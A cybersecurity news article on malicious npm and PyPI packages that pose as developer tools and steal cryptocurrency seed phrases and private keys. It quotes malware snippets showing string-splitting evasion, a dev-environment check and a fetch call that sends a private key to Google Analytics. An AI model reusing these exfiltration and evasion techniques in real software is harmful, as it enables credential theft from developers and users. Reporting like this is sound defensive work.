Categories: Cyber Security News

Malicious npm and PyPI Pose as Developer Tools to Steal Login Credentials

In a concerning development for the open-source community, several malicious packages on npm and PyPI repositories have been discovered posing as legitimate developer tools while secretly harvesting cryptocurrency wallet credentials.

These packages, which have accumulated thousands of downloads collectively, demonstrate sophisticated techniques to steal sensitive information from unsuspecting developers and users.

The malicious packages include react-native-scrollpageviewtest on npm, which has been downloaded 1,215 times since its release in 2021, alongside two PyPI packages—web3x and herewalletbot—which have garnered 3,405 and 3,425 downloads respectively since their release in 2024.

On the surface, these packages appear to offer helpful functionality: react-native-scrollpageviewtest presents itself as a page-scrolling utility, web3x claims to check Ethereum balances, and herewalletbot purports to automate wallet interactions.

Sponsored

Socket.dev researchers identified that behind their benign facades, these packages contain malicious code designed specifically to extract cryptocurrency wallet credentials, including mnemonic seed phrases and private keys.

The researchers noted that the packages employ various exfiltration methods to transmit stolen credentials to threat actors, with react-native-scrollpageviewtest using Google Analytics as its exfiltration channel, while the PyPI packages leverage Telegram bots.

The impact of these malicious packages extends beyond immediate credential theft. When threat actors obtain a victim’s mnemonic seed phrase or private key, they gain complete control over all associated cryptocurrency assets, often resulting in irreversible financial losses.

One Reddit user reported that after interacting with herewalletbot, “all my balances were gone… I had about 3 HOT and 0.1 NEAR in my balance.”

Despite their malicious behavior, these packages remained publicly available on their respective repositories for months, highlighting vulnerabilities in the software supply chain that continue to be exploited by threat actors.

Sophisticated Exfiltration via Google Analytics

The react-native-scrollpageviewtest package demonstrates particularly sophisticated techniques for credential theft and exfiltration.

Sponsored

The malware employs several methods to evade detection, including string splitting to defeat basic pattern matching:-

const bu = require('b' + 'u' + 'f' + 'f' + 'e' + 'r').Buffer;

After extracting sensitive wallet information, the package encodes the stolen data with a random prefix before Base64-encoding and transmitting it to Google Analytics:-

const line = "v=1&tid=UA-215070146-1&cid=" + stg +
    "&t=pageview&dt=" + ec + "&dl=" + ecy(priv) + "n";
fetch('https://www.google-analytics.com/collect', {
    method:'POST', body: line, headers:{'Content-Type':'text/plain'}
});

This exfiltration technique is particularly insidious because Google Analytics domains are commonly whitelisted in corporate environments, allowing the malicious traffic to bypass security controls.

The threat actor repurposes legitimate analytics infrastructure to receive stolen credentials, which appear as ordinary pageview data in their Google Analytics dashboard.

The package also implements conditional checks to avoid execution in development environments and uses local storage to prevent repeated exfiltration, further reducing chances of detection:-

if (!__DEV__ || eqx(darw) || darw.startsWith('1234')) {
    return; // Avoid dev/test environments
}

These findings shows the critical importance of thorough dependency scanning and the fundamental security practice of never sharing seed phrases or private keys with any application, regardless of its apparent legitimacy.

Malware Trends Report Based on 15000 SOC Teams Incidents, Q1 2025 out!-> Get Your Free Copy

The post Malicious npm and PyPI Pose as Developer Tools to Steal Login Credentials appeared first on Cyber Security News.

rssfeeds-admin

Recent Posts

Claude AI Discovers 22 Major Vulnerabilities in Firefox Browser in 14 Days

Anthropic’s frontier AI model, Claude Opus 4.6, successfully identified 22 novel vulnerabilities in Mozilla Firefox…

2 hours ago

School health insurance rates are increasing across New Hampshire. There’s more at play than just GLP-1 weight loss drugs

Duane Ford has managed budgets for the Bow and Dunbarton school districts for more than…

2 hours ago

‘We can bring Iran to its knees’: Joni Ernst justifies war at Republican event in Concord

When it comes to the war in Iran, Joni Ernst told a crowd in Concord,…

2 hours ago

Concord School Board facing tough decisions to cut another $13 million

Twenty-three position eliminations, cuts to alternative education programs, furniture and supplies, and paying only interest…

2 hours ago

DJI will pay $30K to the man who accidentally hacked 7,000 Romo robovacs

The DJI Romo robot vacuums. | Image: DJI On Valentine's Day, I brought you a…

5 hours ago

Magic: The Gathering’s TMNT Turtle Power Deck is Amazing, Here’s Why I Love It

Magic: The Gathering’s crossovers get harder to predict, and the second set of the year…

6 hours ago

This website uses cookies.